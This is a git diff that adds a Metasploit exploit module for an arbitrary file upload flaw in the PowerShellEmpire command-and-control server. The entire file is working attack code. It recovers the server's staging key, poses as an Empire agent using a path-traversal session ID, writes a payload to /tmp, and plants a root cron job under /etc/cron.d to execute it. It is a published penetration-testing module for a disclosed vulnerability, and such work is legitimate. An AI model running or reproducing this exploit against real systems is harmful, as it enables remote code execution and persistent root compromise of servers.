diff --git a/modules/exploits/linux/http/empire_skywalker.rb b/modules/exploits/linux/http/empire_skywalker.rb new file mode 100644 index 0000000000..76a59850e9 --- /dev/null +++ b/modules/exploits/linux/http/empire_skywalker.rb @@ -0,0 +1,246 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + TASK_DOWNLOAD = 41 + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'PowerShellEmpire Arbitrary File Upload (Skywalker)', + 'Description' => %q{ + A vulnerability existed in the PowerShellEmpire server prior to commit + f030cf62 which would allow an arbitrary file to be written to an + attacker controlled location with the permissions of the Empire server. + + This exploit will write the payload to /tmp/ directory followed by a + cron.d file to execute the payload. + }, + 'Author' => + [ + 'Spencer McIntyre', # Vulnerability discovery & Metasploit module + 'Erik Daguerre' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['URL', 'http://www.harmj0y.net/blog/empire/empire-fails/'] + ], + 'Payload' => + { + 'DisableNops' => true, + }, + 'Platform' => %w{ linux python }, + 'Targets' => + [ + [ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' } ], + [ 'Linux x86', { 'Arch' => ARCH_X86, 'Platform' => 'linux' } ], + [ 'Linux x64', { 'Arch' => ARCH_X86_64, 'Platform' => 'linux' } ] + ], + 'DefaultOptions' => { 'WfsDelay' => 75 }, + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Oct 15 2016')) + + register_options( + [ + Opt::RPORT(8080), + OptString.new('TARGETURI', [ false, 'Base URI path', '/' ]), + OptString.new('STAGE0_URI', [ true, 'The resource requested by the initial launcher, default is index.asp', 'index.asp' ]), + OptString.new('STAGE1_URI', [ true, 'The resource used by the RSA key post, default is index.jsp', 'index.jsp' ]), + OptString.new('PROFILE', [ false, 'Empire agent traffic profile URI.', '' ]) + ], self.class) + end + + def check + return Exploit::CheckCode::Safe if get_staging_key.nil? + + Exploit::CheckCode::Appears + end + + def aes_encrypt(key, data, include_mac=false) + cipher = OpenSSL::Cipher::AES256.new(:CBC) + cipher.encrypt + iv = cipher.random_iv + cipher.key = key + cipher.iv = iv + data = iv + cipher.update(data) + cipher.final + + digest = OpenSSL::Digest.new('sha1') + data << OpenSSL::HMAC.digest(digest, key, data) if include_mac + + data + end + + def create_packet(res_id, data, counter=nil) + data = Rex::Text::encode_base64(data) + counter = Time.new.to_i if counter.nil? + + [ res_id, counter, data.length ].pack('VVV') + data + end + + def reversal_key + # reversal key for commit da52a626 (March 3rd, 2016) - present (September 21st, 2016) + [ + [ 160, 0x3d], [ 33, 0x2c], [ 34, 0x24], [ 195, 0x3d], [ 260, 0x3b], [ 37, 0x2c], [ 38, 0x24], [ 199, 0x2d], + [ 8, 0x20], [ 41, 0x3d], [ 42, 0x22], [ 139, 0x22], [ 108, 0x2e], [ 173, 0x2e], [ 14, 0x2d], [ 47, 0x29], + [ 272, 0x5d], [ 113, 0x3b], [ 82, 0x3b], [ 51, 0x2d], [ 276, 0x2e], [ 213, 0x2e], [ 86, 0x2d], [ 183, 0x3a], + [ 24, 0x7b], [ 57, 0x2d], [ 282, 0x20], [ 91, 0x20], [ 92, 0x2d], [ 157, 0x3b], [ 30, 0x28], [ 31, 0x24] + ] + end + + def rsa_encode_int(value) + encoded = [] + while value > 0 do + encoded << (value & 0xff) + value >>= 8 + end + + Rex::Text::encode_base64(encoded.reverse.pack('C*')) + end + + def rsa_key_to_xml(rsa_key) + rsa_key_xml = "\n" + rsa_key_xml << " #{ rsa_encode_int(rsa_key.e.to_i) }\n" + rsa_key_xml << " #{ rsa_encode_int(rsa_key.n.to_i) }\n" + rsa_key_xml << "" + + rsa_key_xml + end + + def get_staging_key + # STAGE0_URI resource requested by the initial launcher + # The default STAGE0_URI resource is index.asp + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L34 + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, datastore['STAGE0_URI']) + }) + return unless res and res.code == 200 + + staging_key = Array.new(32, nil) + staging_data = res.body.bytes + + reversal_key.each_with_index do |(pos, char_code), key_pos| + staging_key[key_pos] = staging_data[pos] ^ char_code + end + + return if staging_key.include? nil + + # at this point the staging key should have been fully recovered but + # we'll verify it by attempting to decrypt the header of the stage + decrypted = [] + staging_data[0..23].each_with_index do |byte, pos| + decrypted << (byte ^ staging_key[pos]) + end + return unless decrypted.pack('C*').downcase == 'function start-negotiate' + + staging_key + end + + def write_file(path, data, session_id, session_key, server_epoch) + # target_url.path default traffic profile for empire agent communication + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L50 + data = create_packet( + TASK_DOWNLOAD, + [ + '0', + session_id + path, + Rex::Text::encode_base64(data) + ].join('|'), + server_epoch + ) + + if datastore['PROFILE'].blank? + profile_uri = normalize_uri(target_uri.path, %w{ admin/get.php news.asp login/process.jsp }.sample) + else + profile_uri = normalize_uri(target_uri.path, datastore['PROFILE']) + end + + res = send_request_cgi({ + 'cookie' => "SESSIONID=#{session_id}", + 'data' => aes_encrypt(session_key, data, include_mac=true), + 'method' => 'POST', + 'uri' => normalize_uri(profile_uri) + }) + fail_with(Failure::Unknown, "Failed to write file") unless res and res.code == 200 + + res + end + + def cron_file(command) + cron_file = 'SHELL=/bin/sh' + cron_file << "\n" + cron_file << 'PATH=/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/sbin:/usr/local/bin' + cron_file << "\n" + cron_file << "* * * * * root #{command}" + cron_file << "\n" + + cron_file + end + + def exploit + vprint_status('Recovering the staging key...') + staging_key = get_staging_key + if staging_key.nil? + fail_with(Failure::Unknown, 'Failed to recover the staging key') + end + vprint_status("Successfully recovered the staging key: #{staging_key.map { |b| b.to_s(16) }.join(':')}") + staging_key = staging_key.pack('C*') + + rsa_key = OpenSSL::PKey::RSA.new(2048) + session_id = Array.new(50, '..').join('/') + # STAGE1_URI, The resource used by the RSA key post + # The default STAGE1_URI resource is index.jsp + # https://github.com/adaptivethreat/Empire/blob/293f06437520f4747e82e4486938b1a9074d3d51/setup/setup_database.py#L37 + res = send_request_cgi({ + 'cookie' => "SESSIONID=#{session_id}", + 'data' => aes_encrypt(staging_key, rsa_key_to_xml(rsa_key)), + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, datastore['STAGE1_URI']) + }) + fail_with(Failure::Unknown, 'Failed to send the RSA key') unless res and res.code == 200 + vprint_status("Successfully sent the RSA key") + + # decrypt the response and pull out the epoch and session_key + body = rsa_key.private_decrypt(res.body) + server_epoch = body[0..9].to_i + session_key = body[10..-1] + print_status('Successfully negotiated an artificial Empire agent') + + payload_data = nil + payload_path = '/tmp/' + rand_text_alpha(8) + + case target['Arch'] + when ARCH_PYTHON + cron_command = "python #{payload_path}" + payload_data = payload.raw + + when ARCH_X86, ARCH_X86_64 + cron_command = "chmod +x #{payload_path} && #{payload_path}" + payload_data = payload.encoded_exe + + end + + print_status("Writing payload to #{payload_path}") + write_file(payload_path, payload_data, session_id, session_key, server_epoch) + + cron_path = '/etc/cron.d/' + rand_text_alpha(8) + print_status("Writing cron job to #{cron_path}") + + write_file(cron_path, cron_file(cron_command), session_id, session_key, server_epoch) + print_status("Waiting for cron job to run, can take up to 60 seconds") + + register_files_for_cleanup(cron_path) + register_files_for_cleanup(payload_path) + # Empire writes to a log file location based on the Session ID, so when + # exploiting this vulnerability that file ends up in the root directory. + register_files_for_cleanup('/agent.log') + end +end